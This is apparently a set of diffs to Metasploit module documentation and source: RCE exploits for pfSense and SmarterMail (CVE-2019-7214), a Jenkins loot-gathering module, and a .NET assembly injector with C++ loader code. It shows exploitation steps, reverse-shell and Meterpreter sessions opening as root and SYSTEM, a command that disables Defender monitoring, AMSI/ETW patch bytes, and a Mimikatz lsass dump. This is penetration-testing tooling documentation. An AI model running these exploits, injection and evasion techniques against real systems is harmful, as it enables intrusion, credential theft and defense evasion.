warning page and `Close` on the following popup. You should now see the main dashboard and should be ready to test the
module.
## Verification Steps
1. Start `msfconsole`
2. Do: `use exploit/unix/http/pfsense_config_data_exec`
3. Do: `set RHOST [IP]`
4. Do: `set USERNAME [username]`
5. Do: `set PASSWORD [password]`
6. Do: `set LHOST [IP]`
7. Do: `exploit`
## Options
## Scenarios
### pfSense Community Edition 2.6.0-RELEASE
```
msf6 exploit(unix/http/pfsense_config_data_exec) > use exploit/unix/http/pfsense_config_data_exec
[*] Using configured payload cmd/unix/reverse_netcat
msf6 exploit(unix/http/pfsense_config_data_exec) > set RHOST 1.1.1.1
RHOST => 1.1.1.1
msf6 exploit(unix/http/pfsense_config_data_exec) > set LHOST 2.2.2.2
LHOST => 2.2.2.2
msf6 exploit(unix/http/pfsense_config_data_exec) > exploit
[*] Started reverse TCP handler on 2.2.2.2:4444
[*] pfSense version: 2.6.0-RELEASE
[+] The target is vulnerable.
[*] Command shell session 1 opened (2.2.2.2:4444 -> 1.1.1.1:21942) at 2023-03-26 02:10:48 +0300
id
uid=0(root) gid=0(wheel) groups=0(wheel)
whoami
root
```
@@ -0,0 +1,317 @@
## Vulnerable Application
The vulnerability affects:
* SmarterTools SmarterMail Version <= 16.3.6989.16341 (all legacy versions without a build number)
* SmarterTools SmarterMail Build < 6985
### Description
This module exploits a vulnerability in the SmarterTools SmarterMail software for version numbers <= 16.x or for build numbers < 6985. The vulnerable versions and builds expose three .NET remoting endpoints on port 17001, namely `/Servers`, `/Mail` and `/Spool`. For example, a typical installation of SmarterMail Build 6970 will have the `/Servers` endpoint exposed to the public at `tcp://0.0.0.0:17001/Servers`, where serialized .NET commands can be sent through a TCP socket connection.
The three endpoints perform deserialization of untrusted data (CVE-2019-7214), allowing an attacker to send arbitrary commands to be deserialized and executed. This module exploits this vulnerability to perform .NET deserialization attacks, allowing remote code execution for any unauthenticated user under the context of the SYSTEM account. Successful exploitation results in full administrative control of the target server under the `NT AUTHORITY\SYSTEM` account.
This vulnerability was patched in Build 6985, where the 17001 port is no longer publicly accessible, although it can be accessible locally at `127.0.0.1:17001`. Hence, this would still allow for a privilege escalation vector if the server is compromised as a low-privileged user.
### Setup
This module was tested on SmarterMail Build 6919, 6970 (with positive results), Build 6985 (with negative results), and on Version 16.3.6989 (with positive results).
Legacy builds and versions of SmarterMail can be obtained by signing up to the SmarterTools website to create a user account, and then navigating to the [Legacy Builds](https://www.smartertools.com/account#/downloads) page, where `EXE` and `MSI` files can be downloaded.
## Verification Steps
1. Sign up to the [SmarterTools website](https://www.smartertools.com/). Log in with your created account.
2. Download `EXE` legacy versions and builds from a dropdown menu at [Legacy Builds](https://www.smartertools.com/account#/downloads), specifically SmarterMail 16.x, Build 6970 and Build 6985.
3. Install the executable file (e.g. `SmarterMail_6970.exe`) and follow the instructions provided. If reinstalling a different version/build, simply choose `Use an existing site` when prompted in `Site Configuration Type`, and select `SmarterMail` in the next option.
4. Verify that the login page can be accessed at `http://localhost:9998/interface/root#/login`. Set Admin username and password to be `admin:admin` (or anything arbitrary) if prompted.
5. Disable realtime protection on an Administrative PowerShell session with `Set-MpPreference -DisableRealtimeMonitoring $true`.
6. Start `msfconsole` and follow along with default options.
7. Do: `use exploit/windows/http/smartermail_rce`
8. Do: `set RHOSTS [SMARTERMAIL_SERVER_IP]`
9. Do: `set LHOST eth0`
10. Do: `exploit`
## Options
### TARGET (Required)
0. Target 0 (default) - Windows Command uses a default PowerShell payload to execute
code and open a Meterpreter session. However, any desired payload can be chosen. Choose with `set TARGET 0`.
1. Target 1 - x86/x64 Windows CmdStager uses a CmdStager with default `vbs` stager flavor to execute code and open a Meterpreter session. Choose with `set TARGET 1`.
### ENDPOINT (Required)
Choose one of three exposed .NET remoting endpoints, either `Servers`, `Spool` or `Mail`. The default is `Servers`, but any one of the three will do.
### RPORT (Required)
This is the port for the SmarterMail HTTP server, which is default on port 9998. Although this port is not required for exploitation, it is required for checking the vulnerability and version/build number of the SmarterMail software.
### TARGETURI (Required)
This is the base path of the SmarterMail HTTP server. The vulnerability check follows the redirect from base path `/` to the login page at `/interface/root#/login`, but this option is provided in case the login page is located at a different URI.
### TCP_PORT (Required)
This is the TCP port where the .NET remoting endpoints are located, and is required for sending serialized data and Meterpreter payloads. The default port is 17001.
## Scenarios
### SmarterMail Build 6970 on Windows 10 Pro
* Using default TARGET 0 - Windows Command
```
msf6 > use exploit/windows/http/smartermail_rce
[*] Using configured payload cmd/windows/powershell/meterpreter/reverse_tcp
msf6 exploit(windows/http/smartermail_rce) > set RHOSTS 192.168.29.1
RHOSTS => 192.168.29.1
msf6 exploit(windows/http/smartermail_rce) > set LHOST eth0
LHOST => 192.168.245.128
msf6 exploit(windows/http/smartermail_rce) > exploit
[*] Started reverse TCP handler on 192.168.245.128:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking target web server for a response...
[+] Target is running SmarterMail.
[*] Checking SmarterMail product build...
[+] Target is running SmarterMail Build 6970.
[+] The target appears to be vulnerable.
[*] Sending stage (175686 bytes) to 192.168.245.1
[*] Meterpreter session 1 opened (192.168.245.128:4444 -> 192.168.245.1:51164) at 2023-07-07 03:30:47 -0400
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : DESKTOP-50BU5J8
OS : Windows 10 (10.0 Build 19045).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows
meterpreter >
```
* Using TARGET 1 - x86/x64 Windows CmdStager:
```
msf6 > use exploit/windows/http/smartermail_rce
[*] Using configured payload windows/meterpreter/reverse_tcp
msf6 exploit(windows/http/smartermail_rce) > set TARGET 1
TARGET => 1
msf6 exploit(windows/http/smartermail_rce) > set RHOSTS 192.168.29.1
RHOSTS => 192.168.29.1
msf6 exploit(windows/http/smartermail_rce) > set LHOST eth0
LHOST => eth0
msf6 exploit(windows/http/smartermail_rce) > exploit
[*] Started reverse TCP handler on 192.168.245.128:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking target web server for a response...
[+] Target is running SmarterMail.
[*] Checking SmarterMail product build...
[+] Target is running SmarterMail Build 6970.
[+] The target appears to be vulnerable.
[*] Command Stager progress - 2.01% done (2046/101881 bytes)
[*] Command Stager progress - 4.02% done (4092/101881 bytes)
[*] Command Stager progress - 6.02% done (6138/101881 bytes)
[*] Command Stager progress - 8.03% done (8184/101881 bytes)
[*] Command Stager progress - 10.04% done (10230/101881 bytes)
[*] Command Stager progress - 12.05% done (12276/101881 bytes)
[*] Command Stager progress - 14.06% done (14322/101881 bytes)
[*] Command Stager progress - 16.07% done (16368/101881 bytes)
[*] Command Stager progress - 18.07% done (18414/101881 bytes)
[*] Command Stager progress - 20.08% done (20460/101881 bytes)
[*] Command Stager progress - 22.09% done (22506/101881 bytes)
[*] Command Stager progress - 24.10% done (24552/101881 bytes)
[*] Command Stager progress - 26.11% done (26598/101881 bytes)
[*] Command Stager progress - 28.12% done (28644/101881 bytes)
[*] Command Stager progress - 30.12% done (30690/101881 bytes)
[*] Command Stager progress - 32.13% done (32736/101881 bytes)
[*] Command Stager progress - 34.14% done (34782/101881 bytes)
[*] Command Stager progress - 36.15% done (36828/101881 bytes)
[*] Command Stager progress - 38.16% done (38874/101881 bytes)
[*] Command Stager progress - 40.16% done (40920/101881 bytes)
[*] Command Stager progress - 42.17% done (42966/101881 bytes)
[*] Command Stager progress - 44.18% done (45012/101881 bytes)
[*] Command Stager progress - 46.19% done (47058/101881 bytes)
[*] Command Stager progress - 48.20% done (49104/101881 bytes)
[*] Command Stager progress - 50.21% done (51150/101881 bytes)
[*] Command Stager progress - 52.21% done (53196/101881 bytes)
[*] Command Stager progress - 54.22% done (55242/101881 bytes)
[*] Command Stager progress - 56.23% done (57288/101881 bytes)
[*] Command Stager progress - 58.24% done (59334/101881 bytes)
[*] Command Stager progress - 60.25% done (61380/101881 bytes)
[*] Command Stager progress - 62.25% done (63426/101881 bytes)
[*] Command Stager progress - 64.26% done (65472/101881 bytes)
[*] Command Stager progress - 66.27% done (67518/101881 bytes)
[*] Command Stager progress - 68.28% done (69564/101881 bytes)
[*] Command Stager progress - 70.29% done (71610/101881 bytes)
[*] Command Stager progress - 72.30% done (73656/101881 bytes)
[*] Command Stager progress - 74.30% done (75702/101881 bytes)
[*] Command Stager progress - 76.31% done (77748/101881 bytes)
[*] Command Stager progress - 78.32% done (79794/101881 bytes)
[*] Command Stager progress - 80.33% done (81840/101881 bytes)
[*] Command Stager progress - 82.34% done (83886/101881 bytes)
[*] Command Stager progress - 84.35% done (85932/101881 bytes)
[*] Command Stager progress - 86.35% done (87978/101881 bytes)
[*] Command Stager progress - 88.36% done (90024/101881 bytes)
[*] Command Stager progress - 90.37% done (92070/101881 bytes)
[*] Command Stager progress - 92.38% done (94116/101881 bytes)
[*] Command Stager progress - 94.39% done (96162/101881 bytes)
[*] Command Stager progress - 96.39% done (98208/101881 bytes)
[*] Command Stager progress - 98.40% done (100252/101881 bytes)
[*] Command Stager progress - 100.00% done (101881/101881 bytes)
[*] Sending stage (175686 bytes) to 192.168.245.1
[*] Meterpreter session 1 opened (192.168.245.128:4444 -> 192.168.245.1:55099) at 2023-07-06 05:43:26 -0400
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : DESKTOP-50BU5J8
OS : Windows 10 (10.0 Build 19045).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows
meterpreter >
```
### SmarterMail Version 16.3.6989 on Windows 10 Pro
* Using ENDPOINT `Mail`:
```
msf6 > use exploit/windows/http/smartermail_rce
[*] Using configured payload cmd/windows/powershell/meterpreter/reverse_tcp
msf6 exploit(windows/http/smartermail_rce) > set ENDPOINT Mail
ENDPOINT => Mail
msf6 exploit(windows/http/smartermail_rce) > set RHOSTS 192.168.29.1
RHOSTS => 192.168.29.1
msf6 exploit(windows/http/smartermail_rce) > set LHOST eth0
LHOST => eth0
msf6 exploit(windows/http/smartermail_rce) > exploit
[*] Started reverse TCP handler on 192.168.245.128:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking target web server for a response...
[+] Target is running SmarterMail.
[*] Checking SmarterMail product build...
[!] Product build not found. 16.x versions and below do not have a build number.
[*] Checking SmarterMail product version...
[+] Target is running SmarterMail Version 16.3.6989.
[+] The target appears to be vulnerable.
[*] Sending stage (175686 bytes) to 192.168.245.1
[*] Meterpreter session 1 opened (192.168.245.128:4444 -> 192.168.245.1:55147) at 2023-07-06 06:20:19 -0400
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : DESKTOP-50BU5J8
OS : Windows 10 (10.0 Build 19045).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows
meterpreter >
```
### SmarterMail Build 6985 on Windows 10 Pro
```
msf6 > use exploit/windows/http/smartermail_rce
[*] Using configured payload cmd/windows/powershell/meterpreter/reverse_tcp
msf6 exploit(windows/http/smartermail_rce) > set RHOSTS 192.168.29.1
RHOSTS => 192.168.29.1
msf6 exploit(windows/http/smartermail_rce) > set LHOST eth0
LHOST => eth0
msf6 exploit(windows/http/smartermail_rce) > exploit
[*] Started reverse TCP handler on 192.168.245.128:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking target web server for a response...
[+] Target is running SmarterMail.
[*] Checking SmarterMail product build...
[+] Target is running SmarterMail Build 6985.
[*] Checking SmarterMail product version...
[+] Target is running SmarterMail Version 100.0.6985.
[-] Exploit aborted due to failure: not-vulnerable: The target is not exploitable. "set ForceExploit true" to override check result.
[*] Exploit completed, but no session was created.
msf6 exploit(windows/http/smartermail_rce) > set ForceExploit true
ForceExploit => true
msf6 exploit(windows/http/smartermail_rce) > exploit
[*] Started reverse TCP handler on 192.168.245.128:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking target web server for a response...
[+] Target is running SmarterMail.
[*] Checking SmarterMail product build...
[+] Target is running SmarterMail Build 6985.
[*] Checking SmarterMail product version...
[+] Target is running SmarterMail Version 100.0.6985.
[!] The target is not exploitable. ForceExploit is enabled, proceeding with exploitation.
[*] Exploit completed, but no session was created.
msf6 exploit(windows/http/smartermail_rce) >
```
### SmarterMail Build 6919 on Windows 10 Pro (Algernon from Proving Grounds Practice)
```
msf6 > use exploit/windows/http/smartermail_rce
[*] Using configured payload cmd/windows/powershell/meterpreter/reverse_tcp
msf6 exploit(windows/http/smartermail_rce) > set RHOSTS 192.168.247.65
RHOSTS => 192.168.247.65
msf6 exploit(windows/http/smartermail_rce) > set LHOST tun0
LHOST => tun0
msf6 exploit(windows/http/smartermail_rce) > check
[*] Checking target web server for a response...
[+] Target is running SmarterMail.
[*] Checking SmarterMail product build...
[+] Target is running SmarterMail Build 6919.
[*] 192.168.247.65:9998 - The target appears to be vulnerable.
msf6 exploit(windows/http/smartermail_rce) > exploit
[*] Started reverse TCP handler on 192.168.45.188:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking target web server for a response...
[+] Target is running SmarterMail.
[*] Checking SmarterMail product build...
[+] Target is running SmarterMail Build 6919.
[+] The target appears to be vulnerable.
[*] Sending stage (175686 bytes) to 192.168.247.65
[*] Meterpreter session 1 opened (192.168.45.188:4444 -> 192.168.247.65:49710) at 2023-07-06 07:24:13 -0400
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : ALGERNON
OS : Windows 10 (10.0 Build 18363).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 3
Meterpreter : x86/windows
meterpreter > shell
Process 4240 created.
Channel 1 created.
Microsoft Windows [Version 10.0.18363.815]
(c) 2019 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system
C:\Windows\system32>cd C:\Users\Administrator\Desktop
cd C:\Users\Administrator\Desktop
C:\Users\Administrator\Desktop>type proof.txt
type proof.txt
84b4****************************
C:\Users\Administrator\Desktop>
```
@@ -8,6 +8,14 @@ This module has been verified against:
1. Jenkins 2.67 on Ubuntu 16.04 in Docker
1. Jenkins 2.67 on Windows 7 SP 1
1. Jenkins 2.60.1
1. Jenkins 2.411 Docker image
1. Jenkins 2.410 Windows 10
1. Jenkins 2.410 Docker image
1. Jenkins 2.409 Docker image
1. Jenkins 2.401.1 Docker image
1. Jenkins 2.346.3 Docker image
1. Jenkins 2.103 Docker image
1. Jenkins 1.565 Docker image
1. Jenkins 1.56
## Verification Steps
@@ -45,6 +53,10 @@ keywords but obviously increases runtime on larger instances.
This option saves interesting files and loot to disk. If set to
false will simply output data to console.
**JENKINS_HOME**
This option can be set if we want to specify where the Jenkins
data resides.
## Scenarios
**Jenkins on Windows**
@@ -76,6 +88,7 @@ Provided by:
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
JENKINS_HOME no Set to the home directory of Jenkins. Linux versions default to /var/lib/jenkins, but C:\ProgramData\Jenkins\.jenkins on Windows.
SEARCH_JOBS true no Search through job history logs for interesting keywords. Increases runtime.
SESSION 17 yes The session to run this module on.
STORE_LOOT true no Store files in loot (will simply output file to console if set to false).
@@ -2,14 +2,16 @@
This module executes a .NET Assembly from a Meterpreter session
It spawns a process (or uses an existing process if provided a pid) and
uses Reflective dll injection to load HostingCLRx64.dll needed to run
.Net assembly. The unmanaged injected dll takes care of verifying if the
process has already loaded the clr, and loads it if necessary. The
It uses Reflective DLL injection to load HostingCLRx64.dll needed to run
.NET assembly. This can be done either within the meterpreter session, or
by injecting into a new or existing process.
The unmanaged injected DLL takes care of verifying if the
process has already loaded the CLR, and loads it if necessary. The
version of the CLR to be loaded is determined by parsing of the assembly
provided and searching for a known signature. Then it runs the assembly
from memory.
Before loading the assembly in the context of the clr, Amsi is bypassed
Before loading the assembly in the context of the CLR, AMSI is bypassed
using the AmsiScanBuffer patching technique.
(https://rastamouse.me/2018/10/amsiscanbuffer-bypass-part-1/)
@@ -17,17 +19,18 @@ You'll find details at [Execute assembly via Meterpreter session](https://b4rtik
## Verification Steps
Example 1 no PID specified:
### Example 1: Run within the same process
1. Start Clone from github SeatBelt or other .Net progect
2. Buid project with target framework 4.x or 3.5
2. Start msfconsole
4. Do: ```use post/windows/manage/execute_dotnet_assembly```
5. Do: ```set SESSION sessionid```
6. Do: ```set DOTNET_EXE /your/output/folder/file.exe```
7. Do: ```set ARGUMENTS user```
8. Do: ```run```
9. You should get something like that follow
1. Build or download a .NET project
1. Buid project with target framework that is present on the host
1. Start msfconsole
1. Do: ```use post/windows/manage/execute_dotnet_assembly```
1. Do: ```set SESSION sessionid```
1. Do: ```set TECHNIQUE SELF``` (to run within our own process)
1. Do: ```set DOTNET_EXE /your/output/folder/SeatBelt.exe```
1. Do: ```set ARGUMENTS user```
1. Do: ```run```
1. The assembly should run.
```
msf5 post(windows/manage/execute_dotnet_assembly) > run
@@ -71,184 +74,81 @@ msf5 post(windows/manage/execute_dotnet_assembly) > run
[+] Killing process 10628
[+] Execution finished.
[*] Post module execution completed
msf5 post(windows/manage/execute_dotnet_assembly) >
```
Example 2 PID specified:
## Example 2: Run in existing process
1. Start Clone from github SeatBelt or other .Net progect
2. Buid project with target framework 4.x or 3.5
2. Start msfconsole
4. Do: ```use post/windows/manage/execute_dotnet_assembly```
5. Do: ```set SESSION sessionid```
6. Do: ```set PID 8648```
7. Do: ```set ASSEMBLYPATH /your/output/folder/SeatBelt.exe```
8. Do: ```set ARGUMENTS user```
9. Do: ```run```
10. You should get something like that follow
1. Build or download a .NET project
1. Buid project with target framework that is present on the host
1. Start msfconsole
1. Do: ```use post/windows/manage/execute_dotnet_assembly```
1. Do: ```set SESSION sessionid```
1. Do: ```set TECHNIQUE INJECT``` (to run within an existing process)
1. Do: ```set PID 8648```
1. Do: ```set DOTNET_EXE /your/output/folder/SeatBelt.exe```
1. Do: ```set ARGUMENTS user```
1. Do: ```run```
1. The assembly should inject into process 8648.
```
msf5 post(windows/manage/execute_dotnet_assembly) > run
## Example 3: Run in new process
[*] Warning: output unavailable
[*] Hooking 8648 to host CLR...
[+] Process 8648 hooked.
[*] Reflectively injecting the Host DLL into 8648..
[*] Injecting Host into 8648...
[*] Host injected. Copy assembly into 8648...
[*] Assembly copied.
[*] Executing...
[+] Execution finished.
[*] Post module execution completed
msf5 post(windows/manage/execute_dotnet_assembly) >
```
Example 3 perform the functionality test of the Amsi bypass.
To perform the test it is necessary to use an assembly that runs
Assembly.Load to load an assembly that we know to be detected.
In the following example we use SafetyKatz which dynamically
loads Mimikatz via Assmbly.Load
1. Start Clone from github SafetyKatz or other .Net progect
2. Buid project with target framework 4.x
2. Start msfconsole
4. Do: ```use post/windows/manage/execute_dotnet_assembly```
5. Do: ```set SESSION sessionid```
6. Do: ```set PID 8648```
7. Do: ```set DOTNET_EXE /your/output/folder/SafetyKatz.exe```
8. Do: ```set ARGUMENTS user```
9. Do: ```set PROCESS nslookup.exe```
10. Do: ```set AMSIBYPASS false```
11. Do: ```run```
12. You should get something like that follow
```
msf5 post(windows/manage/execute_dotnet_assembly) > run
[*] Launching nslookup.exe to host CLR...
[+] Process 19904 launched.
[*] Reflectively injecting the Host DLL into 19904..
[*] Injecting Host into 19904...
[*] Host injected. Copy assembly into 19904...
[*] Assembly copied.
[*] Executing...
[*] Start reading output
[+] Server predefinito:
[+] Address: 192.168.1.1
[+]
[+] >
[*] End output.
[+] Killing process 19904
[+] Execution finished.
[*] Post module execution completed
msf5 post(windows/manage/execute_dotnet_assembly) >
```
Than
1. Do: ```set AMSIBYPASS true```
2. Do: ```run```
```
msf5 post(windows/manage/execute_dotnet_assembly) > set amsibypass true
amsibypass => true
msf5 post(windows/manage/execute_dotnet_assembly) > run
[*] Launching nslookup.exe to host CLR...
[+] Process 19568 launched.
[*] Reflectively injecting the Host DLL into 19568..
[*] Injecting Host into 19568...
[*] Host injected. Copy assembly into 19568...
[*] Assembly copied.
[*] Executing...
[*] Start reading output
[+] Server predefinito:
[+] Address: 192.168.1.1
[+]
[+] >
[+] [*] Dumping lsass (744) to C:\WINDOWS\Temp\debug.bin
[+] [+] Dump successful!
[+]
[+] [*] Executing loaded Mimikatz PE
[+]
[+] .#####. mimikatz 2.1.1 (x64) built on Jul 7 2018 03:36:26 - lil!
[+] .## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
[+] ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
[+] ## \ / ## > http://blog.gentilkiwi.com/mimikatz
[+] '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
[+] '#####' > http://pingcastle.com / http://mysmartlogon.com ***/
[+]
[+] mimikatz # Opening : 'C:\Windows\Temp\debug.bin' file for minidump...
[+] ERROR kuhl_m_sekurlsa_acquireLSA ; Logon list
[+] Opening : 'C:\Windows\Temp\debug.bin' file for minidump...
[+] ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000002)
[+]
[+] mimikatz # deleting C:\Windows\Temp\debug.bin
[+] Execution started
[+] ICorRuntimeHost->GetDefaultDomain(...) succeeded
[*] End output.
[+] Killing process 19568
[+] Execution finished.
[*] Post module execution completed
msf5 post(windows/manage/execute_dotnet_assembly) >
```
1. Build or download a .NET project
1. Buid project with target framework that is present on the host
1. Start msfconsole
1. Do: ```use post/windows/manage/execute_dotnet_assembly```
1. Do: ```set SESSION sessionid```
1. Do: ```set TECHNIQUE SPAWN_AND_INJECT``` (to run within a new process)
1. Do: ```set PPID 8648``` (optional PPID spoofing)
1. Do: ```set PROCESS notepad.exe``` (process to launch)
1. Do: ```set USETHREADTOKEN false``` (whether to launch the process under the current impersonation context)
1. Do: ```set DOTNET_EXE /your/output/folder/SeatBelt.exe```
1. Do: ```set ARGUMENTS user```
1. Do: ```set KILL true``` (kill the spawned process once the assembly has completed - default: true)
1. Do: ```run```
1. The assembly should run.
## Options
```
Module options (post/windows/manage/execute_dotnet_assembly):
Name Current Setting Required Description
---- --------------- -------- -----------
AMSIBYPASS true yes Enable AMSI bypass
ARGUMENTS no Command line arguments
DOTNET_EXE ~/SeatBelt.exe yes Assembly file name
ETWBYPASS true yes Enable ETW bypass
SESSION yes The session to run this module on
Signature Automatic yes The Main function signature (Accepted: Automatic, Main(), Main(string[]))
TECHNIQUE SELF yes Technique for executing assembly (Accepted: SELF, INJECT, SPAWN_AND_INJECT)
When TECHNIQUE is SPAWN_AND_INJECT:
Name Current Setting Required Description
---- --------------- -------- -----------
AMSIBYPASS true yes Enable Amsi bypass
ARGUMENTS no Command line arguments
DOTNET_EXE yes Assembly file name
ETWBYPASS true yes Enable Etw bypass
PID 0 no Pid to inject
PPID 0 no Process Identifier for PPID spoofing when creating a new process. (0 = no PPID spoofing)
PPID no Process Identifier for PPID spoofing when creating a new process (no PPID spoofing if unset)
PROCESS notepad.exe no Process to spawn
SESSION yes The session to run this module on.
USETHREADTOKEN true no Spawn process with thread impersonation
WAIT 10 no Time in seconds to wait
When TECHNIQUE is INJECT:
Name Current Setting Required Description
---- --------------- -------- -----------
PID no PID to inject
```
AMSIBYPASS
### Advanced options:
Enable or Disable Amsi bypass. This parameter is necessary due to the
technique used. It is possible that subsequent updates will make the
bypass unstable which could result in a crash. By setting the parameter
to false the module continues to work.
```
ARGUMENTS
Active when TECHNIQUE is SPAWN_AND_INJECT:
Command line arguments. The signature of the Main method must match with
the parameters that have been set in the module, for example:
If the property ARGUMENTS is set to "antani sblinda destra" the main
method should be "static void main (string [] args)"<br />
If the property ARGUMENTS is set to "" the main method should be "static
void main ()"
DOTNET_EXE
Dotnet Executable to execute
PID
Pid to inject. If different from 0 the module does not create a new
process but uses the existing process identified by the PID parameter.
PROCESS
Process to spawn when PID is equal to 0.
SESSION
The session to run this module on. Must be meterpreter session
WAIT
Time in seconds to wait before starting to read the output.
Name Current Setting Required Description
---- --------------- -------- -----------
KILL true yes Kill the launched process at the end of the task
```
+1 -1
View File
@@ -236,4 +236,4 @@ ULONG NTAPI MyEtwEventWrite(
__in ULONG UserDataCount,
__in_ecount_opt(UserDataCount) PEVENT_DATA_DESCRIPTOR UserData);
BOOL PatchEtw();
BOOL PatchEtw(HANDLE pipe);
@@ -4,6 +4,7 @@
#include "stdafx.h"
#include "ReflectiveLoader.h"
#include "ReflectiveFree.h"
#include "HostingCLR.h"
extern HINSTANCE hAppInstance;
@@ -21,8 +22,16 @@ BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
hAppInstance = hinstDLL;
Execute(lpReserved);
fflush(stdout);
// Free the assembly and parameters
VirtualFree(lpReserved, 0, MEM_RELEASE);
ReflectiveFree(hinstDLL);
break;
case DLL_PROCESS_DETACH:
ReflectiveFree(hinstDLL);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
+288 -230
View File
@@ -19,18 +19,12 @@
#define MethodJittingStarted 145
#define ILStubGenerated 88
bool amsiflag;
bool etwflag;
unsigned char signflag[1];
char sig_40[] = { 0x76,0x34,0x2E,0x30,0x2E,0x33,0x30,0x33,0x31,0x39 };
char sig_20[] = { 0x76,0x32,0x2E,0x30,0x2E,0x35,0x30,0x37,0x32,0x37 };
#define ReportErrorThroughPipe(pipe, format, ...) {char buf[1024]; DWORD written; snprintf(buf, 1024, format, __VA_ARGS__); WriteFile(pipe, buf, (DWORD)strlen(buf), &written, NULL);}
// mov rax, <Hooked function address>
// jmp rax
unsigned char uHook[] = {
0x48, 0xb8, 0x00,0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xFF, 0xE0
0xC3
};
#ifdef _X32
@@ -42,10 +36,17 @@ unsigned char amsipatch[] = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
SIZE_T patchsize = 6;
#endif
union PARAMSIZE {
unsigned char myByte[4];
int intvalue;
} paramsize;
struct Metadata
{
unsigned int pipenameLength;
unsigned int appdomainLength;
unsigned int clrVersionLength;
unsigned int argsSize;
unsigned int assemblySize;
unsigned char amsiBypass;
unsigned char etwBypass;
};
DWORD METADATA_SIZE = 22;
int executeSharp(LPVOID lpPayload)
{
@@ -56,158 +57,179 @@ int executeSharp(LPVOID lpPayload)
BOOL bLoadable;
ICorRuntimeHost* pRuntimeHost = NULL;
IUnknownPtr pAppDomainThunk = NULL;
_AppDomainPtr pDefaultAppDomain = NULL;
_AppDomainPtr pCustomAppDomain = NULL;
IEnumUnknown* pEnumerator = NULL;
_AssemblyPtr pAssembly = NULL;
SAFEARRAYBOUND rgsabound[1];
SIZE_T readed;
_MethodInfoPtr pMethodInfo = NULL;
VARIANT retVal;
VARIANT obj;
SAFEARRAY *psaStaticMethodArgs;
SAFEARRAY* psaStaticMethodArgs;
SAFEARRAY* psaEntryPointParameters;
VARIANT vtPsa;
unsigned char pSize[8];
char* pipeName = NULL;
char* appdomainName = NULL;
char* clrVersion = NULL;
wchar_t* clrVersion_w = NULL;
BYTE* arg_s = NULL;
wchar_t* appdomainName_w = NULL;
//Read parameters assemblysize + argssize
ReadProcessMemory(GetCurrentProcess(), lpPayload, pSize, 8, &readed);
Metadata metadata;
PARAMSIZE assemblysize;
assemblysize.myByte[0] = pSize[0];
assemblysize.myByte[1] = pSize[1];
assemblysize.myByte[2] = pSize[2];
assemblysize.myByte[3] = pSize[3];
// Structure of lpPayload:
// - Packed metadata, including lengths of the following fields
// - Pipe name (ASCII)
// - Appdomain name (ASCII)
// - Clr Version Name (ASCII)
// - Param data
// - Assembly data
memcpy(&metadata, lpPayload, METADATA_SIZE);
PARAMSIZE argssize;
argssize.myByte[0] = pSize[4];
argssize.myByte[1] = pSize[5];
argssize.myByte[2] = pSize[6];
argssize.myByte[3] = pSize[7];
BYTE* data_ptr = (BYTE*)lpPayload + METADATA_SIZE;
long raw_assembly_length = assemblysize.intvalue;
long raw_args_length = argssize.intvalue;
pipeName = (char*)malloc((metadata.pipenameLength + 1) * sizeof(char));
memcpy(pipeName, data_ptr, metadata.pipenameLength);
pipeName[metadata.pipenameLength] = 0; // Null-terminate
data_ptr += metadata.pipenameLength;
unsigned char *allData = (unsigned char*)malloc(raw_assembly_length * sizeof(unsigned char)+ raw_args_length * sizeof(unsigned char) + 9 * sizeof(unsigned char));
unsigned char *arg_s = (unsigned char*)malloc(raw_args_length * sizeof(unsigned char));
unsigned char *rawData = (unsigned char*)malloc(raw_assembly_length * sizeof(unsigned char));
appdomainName = (char*)malloc((metadata.appdomainLength + 1) * sizeof(char));
memcpy(appdomainName, data_ptr, metadata.appdomainLength);
appdomainName[metadata.appdomainLength] = 0; // Null-terminate
data_ptr += metadata.appdomainLength;
SecureZeroMemory(allData, raw_assembly_length * sizeof(unsigned char) + raw_args_length * sizeof(unsigned char) + 9 * sizeof(unsigned char));
SecureZeroMemory(arg_s, raw_args_length * sizeof(unsigned char));
SecureZeroMemory(rawData, raw_assembly_length * sizeof(unsigned char));
clrVersion = (char*)malloc((metadata.clrVersionLength + 1) * sizeof(char));
memcpy(clrVersion, data_ptr, metadata.clrVersionLength);
clrVersion[metadata.clrVersionLength] = 0; // Null-terminate
data_ptr += metadata.clrVersionLength;
rgsabound[0].cElements = raw_assembly_length;
// Convert to wchar
clrVersion_w = new wchar_t[metadata.clrVersionLength + 1];
mbstowcs(clrVersion_w, clrVersion, metadata.clrVersionLength + 1);
arg_s = (unsigned char*)malloc(metadata.argsSize * sizeof(BYTE));;
memcpy(arg_s, data_ptr, metadata.argsSize);
data_ptr += metadata.argsSize;
////////////////// Hijack stdout
// Create a pipe to send data
HANDLE pipe = CreateNamedPipeA(
pipeName, // name of the pipe
PIPE_ACCESS_OUTBOUND, // 1-way pipe -- send only
PIPE_TYPE_BYTE, // send data as a message stream
